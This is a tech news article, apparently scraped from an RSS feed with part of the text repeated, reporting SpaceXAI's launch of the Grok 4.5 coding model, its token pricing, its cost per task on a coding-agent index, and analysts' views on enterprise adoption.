<p>“It is too early to say if Grok 4.5 is a game changer,” said <a href="https://www.jpdata.co/about/">Anand</a><a href="https://www.jpdata.co/about/" target="_blank" rel="noreferrer noopener"> </a><a href="https://www.jpdata.co/about/">Joshi</a>, managing director of market research firm JP Data. “The benchmarks are impressive, and the low token usage will be attractive to enterprises. The developer community will give a verdict in time if the coding output is superior to the competition.”</p>



<h2 class="wp-block-heading">Cost per task, not cost per token</h2>



<p>“Grok 4.5’s pricing is notable because it lowers the economics of running agentic coding workloads, but enterprise buyers should focus on cost per successful outcome rather than cost per token,” said <a href="https://www.forrester.com/analyst-bio/biswajeet-mahapatra/BIO20046" target="_blank" rel="noreferrer noopener">Biswajeet Mahapatra</a>, principal analyst at Forrester.</p>



<p>A cheaper model can still cost more in practice if it needs repeated attempts to produce working code, Mahapatra said. Enterprises should look at the full cost of a coding workflow, including developer review effort and whether the final output is usable, he said.</p>



<p>A bigger concern, according to <a href="https://omdia.tech.informa.com/authors/lian-jye-su">Lian Jye Su</a>, chief analyst at Omdia, is that token use has become too easy a proxy for value.</p>



<p>“We are living in the era where token consumption is seen as the ultimate value creation but the true value still lies in actual job completion,” Su said. “To most enterprises, the cost per job done remains the best approach to assess agent effectiveness.”</p>



<p>That makes Grok 4.5 less a simple pricing story than a test of whether SpaceXAI can lower the actual cost of AI-assisted development in real engineering environments, where corporate codebases often expose weaknesses that public benchmarks may miss.</p>



<p>Mahapatra said tests such as SWE-Bench Pro, DeepSWE, and Terminal Bench can offer early signals, but enterprises should also compare Grok 4.5 with other models on their own repositories before adopting it more widely. Su said A/B testing in real development environments, combined with cost monitoring over time, would give enterprises a clearer view of token efficiency and output quality.</p>



<h2 class="wp-block-heading">Where Grok 4.5 may fit</h2>



<p>Grok 4.5 is unlikely to displace broader enterprise AI platforms on price alone. Its more realistic near-term role is in software engineering workflows, particularly at companies already using more than one model and trying to route work based on cost, speed, and accuracy.</p>



<p>Cursor and Grok Build users are among the most likely to find this model useful, according to Su. Mahapatra said Grok 4.5 could become a primary coding assistant for some teams, especially where software engineering is the main workload, but larger enterprises are more likely to test it as part of a mixed-model strategy.</p>



<p>Shah said that the shift is already underway as enterprises become more cautious about relying on a single AI provider. High-risk or more complex tasks may still go to models such as Claude, he said, while Grok 4.5 could appeal to high-volume developer workflows and repetitive agentic tasks if its accuracy proves close enough to rival systems.</p>



<p>Cursor could give SpaceXAI another advantage, Shah added. By training with developer interaction data from Cursor, Grok 4.5 could benefit from a feedback loop based on how programmers actually write, review, and debug code.</p>
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<title><![CDATA[SpaceXAI launches Grok 4.5, touts lower coding-task costs than AI rivals]]></title>
<description><![CDATA[SpaceXAI has launched Grok 4.5, pitching the model to developers and enterprises trying to control the rising cost of AI-assisted software development.



In a statement, the company said the model is priced at $2 per million input tokens and $6 per million output tokens. It said the model is bui...]]></description>
<link>https://tsecurity.de/de/3656692/it-nachrichten/spacexai-launches-grok-45-touts-lower-coding-task-costs-than-ai-rivals/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3656692/it-nachrichten/spacexai-launches-grok-45-touts-lower-coding-task-costs-than-ai-rivals/</guid>
<pubDate>Thu, 09 Jul 2026 12:32:12 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>SpaceXAI has launched Grok 4.5, pitching the model to developers and enterprises trying to control the rising cost of AI-assisted software development.</p>



<p>In a <a href="https://x.ai/news/grok-4-5" target="_blank" rel="noreferrer noopener">statement</a>, the company said the model is priced at $2 per million input tokens and $6 per million output tokens. It said the model is built for coding and agentic work, runs at 80 tokens per second, and uses fewer tokens than comparable models on some software engineering tasks.</p>



<p>Grok 4.5 is available through the SpaceXAI console and Grok Build. It is also available in Cursor, the AI coding tool made by Anysphere, giving SpaceXAI a route into a development environment already used by programmers rather than only competing through an API. SpaceXAI said EU availability is expected in mid-July.</p>



<p>In June, SpaceX, which owns SpaceXAI, said it was <a href="https://www.infoworld.com/article/4185844/spacexs-planned-60-billion-deal-for-cursor-raises-questions-for-cios.html" target="_blank">buying Anysphere</a>, the startup behind Cursor, in a deal aimed at strengthening its position in enterprise AI tools. In a separate <a href="https://cursor.com/blog/grok-4-5" target="_blank" rel="noreferrer noopener">statement</a>, Cursor said that Grok 4.5 was trained jointly with SpaceXAI and used trillions of tokens of Cursor data, including user interactions with codebases and software tools.</p>



<p>The launch addresses a growing realization among enterprise engineering teams that <a href="https://www.infoworld.com/article/4189176/ai-coding-token-costs-are-on-track-to-rival-human-payroll-2.html">AI coding agents can become expensive</a> once they move beyond simple prompts.</p>



<p>“Enterprises are hitting a wall with AI ROI,” said <a href="https://www.linkedin.com/in/meetneilshah/" target="_blank" rel="noreferrer noopener">Neil Shah</a>, vice president for research at Counterpoint Research. “The massive token consumption required by autonomous agents and coding is causing bill shocks, turning AI adoption into an expensive, one-way street.”</p>



<h2 class="wp-block-heading">AI coding at half the cost</h2>



<p>On <a href="https://artificialanalysis.ai/articles/grok-4-5-brings-spacexai-to-the-the-intelligence-frontier" target="_blank" rel="noreferrer noopener">Artificial Analysis’</a> Coding Agent Index, Grok 4.5 in Grok Build finished below Fable 5 in Claude Code and roughly level with GPT-5.5 in Codex. It estimated Grok 4.5’s cost at $2.49 per task, compared with $5.07 for GPT-5.5 in Codex and $11.80 for Fable 5 in Claude Code.</p>



<p>The figures give SpaceXAI a useful proof point, though analysts said companies will still need to test the model on their own codebases before relying on it widely.</p>



<p>“It is too early to say if Grok 4.5 is a game changer,” said <a href="https://www.jpdata.co/about/">Anand</a><a href="https://www.jpdata.co/about/" target="_blank" rel="noreferrer noopener"> </a><a href="https://www.jpdata.co/about/">Joshi</a>, managing director of market research firm JP Data. “The benchmarks are impressive, and the low token usage will be attractive to enterprises. The developer community will give a verdict in time if the coding output is superior to the competition.”</p>



<h2 class="wp-block-heading">Cost per task, not cost per token</h2>



<p>“Grok 4.5’s pricing is notable because it lowers the economics of running agentic coding workloads, but enterprise buyers should focus on cost per successful outcome rather than cost per token,” said <a href="https://www.forrester.com/analyst-bio/biswajeet-mahapatra/BIO20046" target="_blank" rel="noreferrer noopener">Biswajeet Mahapatra</a>, principal analyst at Forrester.</p>



<p>A cheaper model can still cost more in practice if it needs repeated attempts to produce working code, Mahapatra said. Enterprises should look at the full cost of a coding workflow, including developer review effort and whether the final output is usable, he said.</p>



<p>A bigger concern, according to <a href="https://omdia.tech.informa.com/authors/lian-jye-su">Lian Jye Su</a>, chief analyst at Omdia, is that token use has become too easy a proxy for value.</p>



<p>“We are living in the era where token consumption is seen as the ultimate value creation but the true value still lies in actual job completion,” Su said. “To most enterprises, the cost per job done remains the best approach to assess agent effectiveness.”</p>



<p>That makes Grok 4.5 less a simple pricing story than a test of whether SpaceXAI can lower the actual cost of AI-assisted development in real engineering environments, where corporate codebases often expose weaknesses that public benchmarks may miss.</p>



<p>Mahapatra said tests such as SWE-Bench Pro, DeepSWE, and Terminal Bench can offer early signals, but enterprises should also compare Grok 4.5 with other models on their own repositories before adopting it more widely. Su said A/B testing in real development environments, combined with cost monitoring over time, would give enterprises a clearer view of token efficiency and output quality.</p>



<h2 class="wp-block-heading">Where Grok 4.5 may fit</h2>



<p>Grok 4.5 is unlikely to displace broader enterprise AI platforms on price alone. Its more realistic near-term role is in software engineering workflows, particularly at companies already using more than one model and trying to route work based on cost, speed, and accuracy.</p>



<p>Cursor and Grok Build users are among the most likely to find this model useful, according to Su. Mahapatra said Grok 4.5 could become a primary coding assistant for some teams, especially where software engineering is the main workload, but larger enterprises are more likely to test it as part of a mixed-model strategy.</p>



<p>Shah said that the shift is already underway as enterprises become more cautious about relying on a single AI provider. High-risk or more complex tasks may still go to models such as Claude, he said, while Grok 4.5 could appeal to high-volume developer workflows and repetitive agentic tasks if its accuracy proves close enough to rival systems.</p>



<p>Cursor could give SpaceXAI another advantage, Shah added. By training with developer interaction data from Cursor, Grok 4.5 could benefit from a feedback loop based on how programmers actually write, review, and debug code.</p>



<p><em>The article originally appeared on <a href="https://www.infoworld.com/article/4194895/spacexai-launches-grok-4-5-touts-lower-coding-task-costs-than-ai-rivals.html">InfoWorld</a>.</em></p>
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